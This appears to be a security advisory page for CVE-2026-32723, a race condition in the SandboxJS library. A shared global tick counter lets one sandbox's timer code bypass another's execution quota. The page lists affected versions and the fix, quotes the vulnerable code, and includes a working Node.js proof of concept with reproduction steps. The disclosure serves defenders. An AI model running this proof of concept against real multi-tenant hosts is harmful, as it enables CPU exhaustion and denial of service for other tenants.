Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
4.8

SandboxJS allows one sandbox to exhaust another's resources

GHSA-7p5m-xrh7-769r CVE-2026-32723 GHSA-7p5m-xrh7-769r
Summary

If multiple sandboxes share the same environment, a malicious sandbox can cause another sandbox to use up its CPU or memory allowance, leading to unexpected behavior or crashes. To fix this, update to a version of SandboxJS that has addressed this issue or consider using a different sandboxing solution. If you can't update, limit the amount of shared resources between sandboxes as much as possible.

What to do
  • Update nyariv sandboxjs to version 0.8.35.
  • Update nyariv @nyariv/sandboxjs to version 0.8.35.
Affected software
VendorProductAffected versionsFix available
nyariv sandboxjs <= 0.8.34 0.8.35
nyariv @nyariv/sandboxjs <= 0.8.35 0.8.35
Original title
SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers
Original description
## Summary

Assumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.

**Impact:** execution quota bypass → CPU/resource abuse

---

## Details

- **Affected project:** SandboxJS (owner: nyariv)
- **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`

### Vulnerable code paths

- **`/src/eval.ts`** — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:
```
createFunction(..., ticks || currentTicks.current, { ...context, ... })
```
Relevant lines: 44, 53, 164, 167.

- **`/src/evaluator.ts` / `/src/executor.ts`** — global ticks:
```
export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };
```
and
```
_execNoneRecurse(...) { currentTicks.current = ticks; ... }
```
Relevant lines: ~1700, 1712.

- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs.

---

## Why This Is Vulnerable

- `currentTicks.current` is global mutable state shared across all sandbox instances.
- Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.

---

## Proof of Concept

> Run with Node.js; adjust path if needed.

```js
// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';

const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;

const sandboxA = new Sandbox({
globals,
prototypeWhitelist,
executionQuota: 50n,
haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });

const sandboxB = new Sandbox({ globals, prototypeWhitelist });

// Sandbox A schedules a heavy string handler
sandboxA.compile(
'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();

// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();

setTimeout(() => {
console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);
```

### Reproduction Steps

1. Place the PoC in `hi.js` and run:
```
node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js
```

2. Observe output similar to:
```
{ haltedA: false, doneA: true }
```
This indicates the heavy loop completed and the quota was bypassed.

3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be:
```
{ haltedA: true }
```
This indicates quota enforcement is working correctly.

---

## Impact

- **Type:** Runtime guard bypass (execution-quota / watchdog bypass)
- **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.
- **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.
- **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.
ghsa CVSS4.0 4.8
Vulnerability type
CWE-362 Race Condition
Published: 16 Mar 2026 · Updated: 16 Mar 2026 · First seen: 16 Mar 2026